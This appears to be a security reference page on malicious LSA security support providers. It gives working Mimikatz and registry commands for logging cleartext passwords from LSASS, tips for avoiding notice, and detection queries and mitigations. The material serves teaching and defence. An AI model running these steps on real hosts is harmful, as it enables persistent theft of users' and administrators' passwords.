How it works
Windows authentication is modular. The Local Security Authority (LSASS) loads a set of DLLs called security support providers and authentication packages (SSP/AP), one per protocol: kerberos, msv1_0 for NTLM, schannel, wdigest, tspkg, pku2u. When someone logs on, LSA passes the logon to these packages. One of the callbacks, SpAcceptCredentials, is called with the account name, the domain and the credentials after a successful logon so that each package can cache what it needs for single sign-on. For interactive logons that includes the cleartext password.
The list of packages to load at startup is a registry value:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages (REG_MULTI_SZ)
Microsoft documents this as the way to register a custom SSP/AP: add the DLL's name, without the extension, to the list, and LSA loads it from %SystemRoot%\System32 at every start. An attacker with administrator rights uses the same mechanism to place their own DLL inside LSASS. The DLL implements SpAcceptCredentials and writes what it receives to a file.
This is credential theft that needs no memory dumping and keeps working: every new logon, and every new password, is recorded as it is used.
Variants
- Registered SSP DLL. The DLL is copied to
System32and added toSecurity Packages. It loads at the next boot and at every boot after that. Mimikatz ships such a DLL,mimilib.dll, which registers a package namedKiwiSSPand appends each logon tokiwissp.log. - Registered and loaded at once. The Windows API function
AddSecurityPackagemakes the running LSA load a package without a restart. Combined with the registry entry, the SSP works immediately and persists. - In-memory patch. Mimikatz
misc::memsspdoes not load a new package. It patches theSpAcceptCredentialsfunction ofmsv1_0.dllinside the running LSASS so that the existing NTLM package logs credentials tomimilsa.log. There is no registry change and no new DLL, and the patch disappears at the next restart.
On a domain controller the yield is the passwords of the administrators and service accounts that log on there. On a jump host or a Remote Desktop server it is the password of every user who connects.
Prerequisites
- Local administrator or SYSTEM on the target host. Writing under
HKLM\SYSTEM\CurrentControlSet\Control\Lsa, copying a file intoSystem32and patching LSASS all require it. - For the registered variant: the ability to write a DLL to
System32, and either a restart or a call toAddSecurityPackage. - For the in-memory variant:
SeDebugPrivilegeand write access to LSASS. - LSA protection not enforced. With LSASS running as a protected process, only DLLs that meet Microsoft's signing requirements load, and user-mode processes cannot patch it.
- Logons that carry a password. The SSP only sees credentials that reach the host.
Read the current list before changing it. The Windows default contains only built-in packages, and on current versions the value can be empty because the built-in packages load without being listed:
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages"
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig" /v "Security Packages"
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
Variant 1: registered SSP with mimilib
- Copy the DLL that matches the system architecture into the system directory:
copy mimilib.dll C:\Windows\System32\mimilib.dll
- Append its name, without
.dll, to the existing list. Appending keeps the entries that are already there; replacing them can break authentication on the host:
$key = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$name = 'Security Packages'
$current = @((Get-ItemProperty -Path $key -Name $name).$name) | Where-Object { $_ -and $_ -ne '""' }
Set-ItemProperty -Path $key -Name $name -Value ($current + 'mimilib') -Type MultiString
The same with reg.exe, where \0 separates the entries of a REG_MULTI_SZ value. This example writes the full list, so it must repeat what the query returned:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f
Restart the host, or wait for its next restart. LSA loads
mimilibwith the other packages.Collect the output. Each logon appends a line with the logon ID, the logon type, the domain, the account name and the password:
type C:\Windows\System32\kiwissp.log
Variant 2: in-memory patch with misc::memssp
In an elevated Mimikatz session on the target:
mimikatz # privilege::debug
mimikatz # misc::memssp
The module prints Injected =) when the patch is in place. From then on, logons handled by the NTLM package are appended to:
type C:\Windows\System32\mimilsa.log
Nothing has to be restarted. To see a result immediately, an operator locks the console or waits for an administrator's next Remote Desktop logon.
Removing it
For the registered variant, restore the previous value of Security Packages, restart, and delete the DLL and the log. For the in-memory variant a restart removes the patch; the log file remains until it is deleted.
Impact
The attacker receives cleartext passwords, which are more useful than hashes or tickets: they work against every protocol, against cloud sign-in when the account is synchronized, and against other systems where the user chose the same password. The collection continues by itself. When an administrator changes a password after an incident and then logs on to the same domain controller, the new password is written to the log.
On a domain controller the technique gives lasting access to the accounts of the people who administer the domain. It is often placed next to a Skeleton Key, which does not survive a restart, or used in place of repeated LSASS credential dumping.
The log file is a liability for the victim in its own right. Anyone who can read it, including a second intruder or a backup operator, gets the same passwords.
OPSEC and artifacts
- Registry variant: the value itself. A new name in
Security Packagesstays for as long as the persistence does. With Audit Registry and a SACL on theLsakey, the change is event 4657; Sysmon event 13 records it when configured. Operators rename the DLL to something that resembles a system component, but any name that is not a Windows default is visible in a comparison. - The DLL on disk and in LSASS. An unsigned DLL in
System32that was created recently, and an image load of it intolsass.exe(Sysmon event 7). With Audit Security System Extension enabled, LSA writes event 4622 for each security package it loads, including the new one, at every start. - In-memory variant: nothing in the registry.
misc::memsspavoids both the registry value and a new module. It still needs a process that opens LSASS with write access, which process access monitoring (Sysmon event 10) and endpoint detection products record, and Mimikatz has to run on the host (event 4688 where process auditing is on, unless it is loaded reflectively). - The log file. Both Mimikatz variants write to
C:\Windows\System32by default (kiwissp.log,mimilsa.log). A custom build can use any path, but the file is always created and appended to bylsass.exe, and LSASS creating files of its own is unusual (Sysmon event 11). - Collection. The operator has to come back for the file. Each visit is a logon (event 4624) and a file read on the host, usually over the administrative share.
- No restart for the registered variant. Calling
AddSecurityPackageavoids an unscheduled reboot of a domain controller, which would draw attention by itself.
Detection
- Changes to
Security Packages. Alert on any modification of the value, and ofOSConfig\Security Packages, on domain controllers and servers. Compare the content with a baseline: the built-in names arekerberos,msv1_0,schannel,wdigest,tspkgandpku2u. - Security package loads. Event 4622 naming a package that is not in the baseline. Review these after every restart of a domain controller.
- Unsigned or unexpected modules in LSASS. Image loads into
lsass.exefrom DLLs that are not signed by Microsoft or by an approved vendor. LSA protection in audit mode reports exactly these loads as Code Integrity events (3065 and 3066) without blocking them. - Files written by LSASS. File creation by
lsass.exeoutside its normal paths, and the default nameskiwissp.logandmimilsa.log. - Write access to LSASS. The in-memory variant cannot avoid this step.
// Registry auditing: the list of LSA security packages was changed
SecurityEvent
| where EventID == 4657
| where EventData has "Security Packages"
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc
A scheduled check is a good complement to event-based detection, because the registry SACL is often missing:
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa' |
Select-Object 'Security Packages', 'Authentication Packages', 'Notification Packages'
Get-ChildItem C:\Windows\System32\*.log |
Where-Object Name -in 'kiwissp.log', 'mimilsa.log'
Mitigation
- Enable LSA protection. With
RunAsPPL, LSASS runs as a protected process: plug-ins must meet Microsoft's signature requirements to load, and other processes cannot write to its memory. This blocks both an unsigned SSP DLL and the in-memory patch, unless the attacker loads a kernel driver. The LSA protection and Credential Guard guide covers audit mode, enforcement and the UEFI lock. - Block untrusted drivers and executables on Tier 0 systems. Application control and the vulnerable driver blocklist stop the tools that remove LSA protection.
- Limit who is an administrator on domain controllers and jump hosts. The technique starts from local administrator. Tiered administration keeps those rights with a small set of dedicated accounts.
- Audit the Lsa key and LSA extensions. Enable Audit Registry with a SACL on
HKLM\SYSTEM\CurrentControlSet\Control\Lsa, and Audit Security System Extension, as described in the Active Directory audit policy guide. - Reduce the passwords that reach servers. Use Remote Desktop with Restricted Admin or Remote Credential Guard, and avoid interactive logons to servers with privileged accounts, so that fewer cleartext credentials are handed to any host.
- Recover in the right order. Remove the package and rebuild or restore trust in the host first. Then reset the passwords of every account that logged on while the SSP was present. Resetting them earlier hands the new passwords to the attacker.
Log events to collect
FAQ
What is a security support provider?
A security support provider (SSP) is a DLL that the Local Security Authority loads to implement an authentication protocol, such as Kerberos, NTLM or Schannel. Windows lets administrators register additional SSPs. Because an SSP runs inside LSASS and is handed logon credentials, a malicious one can record them.
Does a malicious SSP survive a reboot?
It depends on the variant. An SSP that is registered in the Security Packages registry value is loaded again at every start, so it survives reboots. The in-memory variant (Mimikatz misc::memssp) patches the running LSASS process and is gone after a restart, although the log file it wrote stays on disk.
Which passwords does a malicious SSP capture?
Those of logons where the host itself receives the credential: interactive and Remote Desktop logons, runas with explicit credentials, services and scheduled tasks starting under an account. A network logon with a Kerberos ticket or an NTLM response does not hand the password to the server, so it is not captured.
How do you detect a malicious SSP?
Monitor the Security Packages value under HKLM\SYSTEM\CurrentControlSet\Control\Lsa and compare it with the Windows defaults. Event 4622 records each security package that LSA loads when Audit Security System Extension is enabled. Look for unsigned DLLs loaded into lsass.exe and for files that lsass.exe itself creates, such as kiwissp.log or mimilsa.log in System32.
References
- Boot or Logon Autostart Execution: Security Support Provider, T1547.005 (MITRE ATT&CK)
- Registering SSP/AP DLLs (Microsoft Learn)
- Configure added LSA protection (Microsoft Learn)
- Mimikatz mimilib SSP source (gentilkiwi)
- Mimikatz misc module source: memssp (gentilkiwi)
- Sneaky Active Directory Persistence #12: Malicious Security Support Provider (ADSecurity)
- Audit Security System Extension (Microsoft Learn)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.